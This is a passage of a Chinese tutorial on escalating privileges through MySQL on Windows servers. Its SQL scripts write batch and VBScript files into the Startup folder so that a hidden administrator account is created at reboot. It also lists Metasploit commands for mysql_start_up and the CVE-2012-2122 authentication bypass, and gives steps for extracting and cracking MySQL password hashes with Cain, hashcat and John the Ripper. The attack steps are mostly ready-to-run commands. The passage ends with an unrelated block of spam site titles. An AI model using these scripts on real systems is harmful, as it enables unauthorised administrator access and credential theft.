  1. select * from a into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\a.vbs"

導(dǎo)入成功后,系統(tǒng)重新啟動時會自動添加密碼為“1”且用戶名稱為“1”的用戶到管理員組中。在實際使用過程中該腳本成功執(zhí)行的幾率比較低,有時候會出現(xiàn)不能導(dǎo)出的錯誤。

推薦使用以下腳本

 

  1. show databases ;  
  2. use test;  
  3. show tables;  
  4. create table b (cmd text);  
  5. insert into b values ("net user Aspnet123545345!* /add");  
  6. insert into b values ("net localgroup administrators Aspnet /add");  
  7. insert into b values ("del b.bat");  
  8. select * from b into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\b.bat"

 

該腳本執(zhí)行后雖然會閃現(xiàn) DOS 窗口,如果有權(quán)限導(dǎo)入到啟動選項中,則一定會執(zhí)行成功,在虛擬機中通過 MySQL 連接器連接并執(zhí)行以上命令后,在“C:\Documents and Settings\All Users\「開始」菜單\程序\啟動”目錄中會有剛才導(dǎo)出的 b.bat 腳本文件。

說明:在不同的操作系統(tǒng)中“C:\Documents and Settings\All Users\「開始」菜單\程序\啟動”目錄文件名稱可能會不同,這個時候就要將其目錄換成相應(yīng)的目錄名稱即可。例如如果是英文版本操作系統(tǒng)則其插入的代碼為

 

  1. select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat"

Windows 2008 Server的啟動目錄為:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

其 vbs 方法可以參考如下寫法

 

  1. create table a (cmd text);  
  2. insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );  
  3. insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );  
  4. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " );  
  5. select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs"

msf 下模塊 exploit/windows/mysql/mysql_start_up 提權(quán):       

  1. use exploit/windows/mysql/mysql_start_up  
  2. set rhost 192.168.2.1  
  3. set rport 3306  
  4. set username root  
  5. set password 123456  
  6. run 

 

msf 下 mysql_start_up 提權(quán)有一定的幾率,對英文版系統(tǒng)支持較好。

五、msf 其它相關(guān)漏洞提權(quán)

1、MySQL 身份認證漏洞及利用(CVE-2012-2122)

當(dāng)連接 MariaDB/MySQL 時,輸入的密碼會與期望的正確密碼比較,由于不正確的處理,會導(dǎo)致即便是 memcmp() 返回一個非零值,也會使 MySQL 認為兩個密碼是相同的。也就是說只要知道用戶名,不斷嘗試就能夠直接登入 SQL 數(shù)據(jù)庫。按照公告說法大約 256 次就能夠蒙對一次。受影響的產(chǎn)品: 

  • All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞
  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 不存在漏洞
  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not 不存在漏洞

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

2、exploit/windows/mysql/mysql_yassl_hello

3、exploit/windows/mysql/scrutinizer_upload_exec

六、MySQL 密碼破解

1、Cain 工具破解 MySQL 密碼

使用 UltraEdit-32 編輯器直接打開 user.MYD 文件,打開后使用二進制模式進行查看,在 Root 用戶后面是一串字符串,選中這些字符串將其復(fù)制到記事本中,這些字符串即為用戶加密值,例如 506D1427F6F61696B4501445C90624897266DAE3。

注意:

  • root 后面的“*”不要復(fù)制到字符串中。
  • 在有些情況下需要往后面看看,否則得到的不是完整的 MYSQLSHA1 密碼,總之其正確的密碼位數(shù)是 40 位。

安裝 cain 工具,使用 cracker,右鍵單擊“Add tolist”將 MySQL Hashes 值加入到破解列表中,使用軟件中的字典、暴力破解等方式來進行暴力破解。

2、網(wǎng)站在線密碼破解

  • cmd5.com 破解。將獲取的 MySQL 值放在 cmd5.com 網(wǎng)站中進行查詢,MySQL 密碼一般都是收費的;
  • somd5.com 破解。Somd5.com 是后面出現(xiàn)的一個免費破解網(wǎng)站,每次破解需要手工選擇圖形碼進行破解,速度快,效果好,只是每次只能破解一個,而且破解一次后需要重新輸入驗證碼。

3、Oclhash 破解

Hashcat 支持很多種破解算法,免費開源軟件,官方網(wǎng)站 https://hashcat.net/hashcat/,破解命令

 

  1. hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323類型  
  2. hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5類型

4、John the Ripper password cracker

John the Ripper 下載地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper 除了能夠破解 linux 外,還能破解多種格式的密碼

 

  1. Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt  
  2. John –format =mysql-sha1 hashes.txt  
  3. john --list=formats | grep mysql //查看支持mysql密碼破解的算法  

 

責(zé)任編輯:龐桂玉 來源: 數(shù)據(jù)庫開發(fā)
相關(guān)推薦

2011-05-18 13:50:34

MySQL數(shù)據(jù)庫網(wǎng)絡(luò)安全

2020-08-07 08:04:03

數(shù)據(jù)庫MySQL技術(shù)

2021-09-15 09:51:36

數(shù)據(jù)庫架構(gòu)技術(shù)

2011-07-29 15:58:53

SGAOracle

2019-06-11 09:49:25

2010-05-12 15:41:21

MySQL數(shù)據(jù)庫

2010-05-21 13:34:53

MySQL數(shù)據(jù)庫

2011-03-10 13:19:47

Oracle數(shù)據(jù)庫

2011-08-03 17:43:53

MySQL數(shù)據(jù)庫外鍵約束

2018-07-27 18:20:31

數(shù)據(jù)庫MySQL 數(shù)據(jù)庫建表

2011-09-01 15:39:43

QT數(shù)據(jù)庫

2010-08-31 14:13:48

DB2數(shù)據(jù)庫

2010-12-21 18:09:48

2011-08-01 13:59:22

Oracle數(shù)據(jù)庫命名空間

2020-07-06 14:20:43

MongoDB數(shù)據(jù)庫安全

2011-07-27 15:01:48

MySQL數(shù)據(jù)庫內(nèi)存表

2021-09-07 10:12:25

分布式數(shù)據(jù)庫集群

2011-08-25 14:50:42

SQL Server數(shù)常用操作

2011-03-21 13:41:20

數(shù)據(jù)庫開發(fā)規(guī)范

2010-05-18 10:47:52

點贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 欧美在线高清 | 国产美女自拍视频 | 国产午夜精品一区二区三区嫩草 | 成人h视频 | 国产精品123区 | 卡通动漫第一页 | 五月天婷婷综合 | 欧美视频免费在线观看 | 午夜精品一区二区三区在线观看 | 欧美一区二区在线免费观看 | 日韩性在线 | 精品九九在线 | 精品美女视频在免费观看 | 中文字幕精品一区二区三区精品 | 日韩在线免费视频 | 欧美日韩在线免费 | 在线日韩精品视频 | 狠狠色网 | 一区二区在线看 | 欧美男人天堂 | 五月婷婷在线播放 | 天天操综合网 | 久久er99热精品一区二区 | 国产精品亚洲第一 | av网站观看 | 久久久久久国产精品免费免费 | 亚洲毛片在线观看 | 国产亚洲欧美另类一区二区三区 | 国产精品久久久久久久一区二区 | 日韩欧美国产一区二区三区 | 日韩精品视频在线 | 欧美日本久久 | 久草在线中文888 | 一级片在线免费播放 | 粉嫩一区二区三区性色av | 中文字幕在线三区 | 欧美一级精品片在线看 | 国内久久| 国偷自产av一区二区三区 | 欧美电影一区 | 狠狠干夜夜草 |